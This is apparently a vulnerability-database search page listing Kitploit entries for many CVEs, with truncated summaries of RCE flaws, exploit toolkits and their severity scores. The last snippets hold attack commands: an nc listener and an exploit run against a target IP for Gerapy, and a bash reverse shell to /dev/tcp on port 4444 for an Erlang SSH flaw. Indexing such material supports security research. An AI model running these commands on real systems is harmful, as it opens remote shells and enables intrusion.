Lucene search
+L

1134221 matches found

Kitploit
Kitploit
added 2026/09/03 12:08 a.m.5 views

CVE-2022-29359

Sistema de Aplicación para Clubes Escolares Problema: Cross-Site Scripting Almacenado No Autenticado hasta inyección HTML y RCE Autor: Zak Clifford Fecha: 12.04.2022 Vendor: https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html Software:...

6.1CVSS6.4AI score0.0115EPSS
SaveExploits1References1
Kitploit
Kitploit
added 2026/09/03 12:07 a.m.3 views

R2C-CVE-2025-55182-66478

🔥React2Shell Toolkit-CVE-2025-55182 & CVE-2025-66478 🚨 Critical RCE in React Server Components & Next.js 🚨 Professional Red Team Toolkit for CVE-2025-55182 Detection & Exploitation 🔍 Features • ⚡ Quick Start • 📚 Documentation • 🤝 Connect 🎯 About CVE-2025-55182 & CVE-2025-66478 🐛 What is...

10CVSS7AI score0.99802EPSS
SaveExploits403References9
Kitploit
Kitploit
added 2026/09/03 12:07 a.m.76 views

klar

Klar Integration of Clair and Docker Registry supports both Clair API v1 and v3 Klar is a simple tool to analyze images stored in a private or public Docker registry for security vulnerabilities using Clair https://github.com/coreos/clair. Klar is designed to be used as an integration tool so it...

5.9AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/03 12:06 a.m.9 views

CVE-2022-22965_PoC

Explotación de RCE en Spring Framework Notas rápidas de pentest Paso 1: Encuentra algún endpoint en tu objetivo donde se acepten métodos POST/PUT + codifica tu payload URL encode root@kitploit: POST /path/upload HTTP/1.1 Host: Origin: Cookie: JSESSIONID=BE65B534335A5A2538624404C063B70C;...

9.8CVSS7AI score0.99638EPSS
SaveExploits105
Kitploit
Kitploit
added 2026/09/03 12:06 a.m.6 views

CVE-2026-22812

🔐 CVE-2026-22812 - Servidor HTTP no autenticado de OpenCode → Ejecución Remota de Código RCE Aviso de seguridad, análisis técnico, guía de detección y notas de mitigación para CVE-2026-22812 📌 Resumen CVE-2026-22812 es una vulnerabilidad de Ejecución Remota de Código RCE de alta gravedad que afec...

8.8CVSS7.2AI score0.17326EPSS
SaveExploits7
Kitploit
Kitploit
added 2026/09/03 12:06 a.m.2 views

CVE-2026-21858

🚨 CVE-2026-21858 — “Ni8mare” A critical unauthenticated remote code execution vulnerability in an open-source workflow automation platform. 📖 Table of Contents Overview Technical Details Severity & CVSS Affected Versions Impact Exploitation Detection Remediation Mitigation Summary 🔎 Overview...

10CVSS7.4AI score0.78197EPSS
SaveExploits23
Kitploit
Kitploit
added 2026/09/03 12:05 a.m.4 views

CVE-2026-34197

🚨 CVE-2026-34197 — RCE crítica de Jolokia en Apache ActiveMQ RCE autenticada vía MBeans de Jolokia → Spring XML remoto → Ejecución de código en la JVM 📖 Resumen CVE-2026-34197 es una vulnerabilidad de ejecución remota de código autenticada y de alta gravedad que afecta a Apache ActiveMQ Classic. ...

8.8CVSS6.8AI score0.9722EPSS
SaveExploits14
Kitploit
Kitploit
added 2026/09/03 12:05 a.m.5 views

CVE-2026-22241

🚨 CVE-2026-22241 - Ejecución remota de código en la importación de temas de Open eClass 📌 Resumen de la vulnerabilidad Open eClass también conocido como GUnet eClass, un sistema de gestión de aprendizaje LMS de código abierto ampliamente utilizado, contiene una vulnerabilidad crítica de carga de...

8.6CVSS5.8AI score0.03265EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/03 12:04 a.m.5 views

CVE-2017-9779

Ejecución automática de Payload desde Windows mediante la ruta de Usuarios :: ¿Qué es Cmder? Cmder es un paquete de software creado por pura frustración ante la ausencia de buenos emuladores de consola en Windows. Está basado en software increíble, y sazonado con la combinación de colores Monokai...

7.8CVSS7.1AI score0.00577EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/09/03 12:03 a.m.4 views

CVE-2017-9841

CVE-2017-9841 Script de escaneo por lotes y explotación de CVE-2017-9841. PHPUnit es un framework de pruebas basado en PHP. Las versiones de PHPUnit anteriores a 4.8.28 y las versiones 5.x anteriores a 5.6.3 presentan una vulnerabilidad de seguridad en el archivo Util/PHP/eval-stdin.php. Un...

9.8CVSS7AI score0.99999EPSS
SaveExploits20
Kitploit
Kitploit
added 2026/09/03 12:03 a.m.4 views

CVE-2026-28289

🚨 CVE-2026-28289 — “Mail2Shell” Zero-Click Unauthenticated RCE in FreeScout via Email Attachment Bypass 📖 Overview CVE-2026-28289 , nicknamed Mail2Shell , is a critical zero-click Remote Code Execution RCE vulnerability affecting FreeScout. An attacker can send a specially crafted email to a...

10CVSS7.4AI score0.3112EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/03 12:02 a.m.4 views

CVE-2026-35616

🚨 CVE-2026-35616 - Bypass de Autenticación en FortiClient EMS 🚨 Control de Acceso Incorrecto | Bypass de API Pre-Autenticación Explotada Activamente — Abril 2026 📋 Resumen CVE-2026-35616 es una vulnerabilidad crítica en FortiClient Enterprise Management Server EMS , versiones 7.4.5 a 7.4.6. Un...

9.8CVSS7.4AI score0.90749EPSS
SaveExploits8
Kitploit
Kitploit
added 2026/09/03 12:00 a.m.5 views

cve-2025-59287-exploit-poc

Exploit de Prueba de Concepto CVE-2025-59287 Resumen de la Vulnerabilidad CVE-2025-59287 es una vulnerabilidad crítica de Ejecución Remota de Código RCE en Microsoft Windows Server Update Services WSUS. La vulnerabilidad es causada por una deserialización insegura de datos AuthorizationCookie a...

9.8CVSS7.3AI score0.99979EPSS
SaveExploits24
Kitploit
Kitploit
added 2026/09/03 12:00 a.m.4 views

CVE-2024-31666

Resumen de la vulnerabilidad Existe una vulnerabilidad en Flusity-CMS v.2.33 que permite a un atacante remoto ejecutar código arbitrario mediante un script especialmente diseñado en el componente editaddonpost.php. Versiones afectadas Flusity-CMS v.2.33 Detalles de la vulnerabilidad Un atacante...

9.8CVSS5.9AI score0.01711EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/03 12:00 a.m.6 views

CVE-2018-19518

CVE-2018-19518 último informe aquí: https://gitlab.com/ensimag-security/CVE-2018-19518/-/jobs/artifacts/master/raw/rapport.pdf?job=PDF Uso ejecutar la aplicación root@kitploit: docker-compose up -d ejemplo de uso normal para la aplicación web. imap : webmail.grenoble-inp.org user :...

8.5CVSS6.7AI score0.9523EPSS
SaveExploits5References1
Kitploit
Kitploit
added 2026/09/02 11:59 p.m.4 views

CVE-2024-23897

CVE-2024-23897 CVE-2024-23897 - Vulnerabilidad de lectura arbitraria de archivos a través de la CLI que puede conducir a RCE Productos y versiones afectados: Producto| Versiones afectadas ---|--- Jenkis Server| = 2.441 = LTS 2.426.3 CVSS: CRÍTICO Explotado activamente: SÍ Parche: SÍ Mitigación: S...

9.8CVSS7.3AI score0.99999EPSS
SaveExploits50References1
Kitploit
Kitploit
added 2026/09/02 11:59 p.m.4 views

cve-2024-6387-poc

cve-2024-6387-poc una condición de carrera en el manejador de señales del servidor de OpenSSH sshd 7etsuo Descripción Un exploit para CVE-2024-6387, dirigido a una condición de carrera en el manejador de señales del servidor de OpenSSH sshd en sistemas Linux basados en glibc. La vulnerabilidad...

8.1CVSS6.9AI score0.99506EPSS
SaveExploits71
Kitploit
Kitploit
added 2026/09/02 11:58 p.m.5 views

CVE-2025-69604

CVE-2025-69604 Descripción Esta vulnerabilidad es similar a la descrita en CVE-2025-61229 – un atacante puede editar la plantilla de tareas para que las tareas de copia de seguridad de SuperDuper instalen un paquete arbitrario. El paquete puede entonces ejecutar scripts de shell como usuario root...

8.4CVSS5.9AI score0.00134EPSS
SaveExploits1References2
Kitploit
Kitploit
added 2026/09/02 11:57 p.m.4 views

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 inicia sesión en el portal como administrador añadir nuevo proyecto sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L...

9.8CVSS7.2AI score0.55331EPSS
SaveExploits7
Kitploit
Kitploit
added 2026/09/02 11:57 p.m.4 views

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

10CVSS8AI score0.98594EPSS
SaveExploits38
Rows per page
Query Builder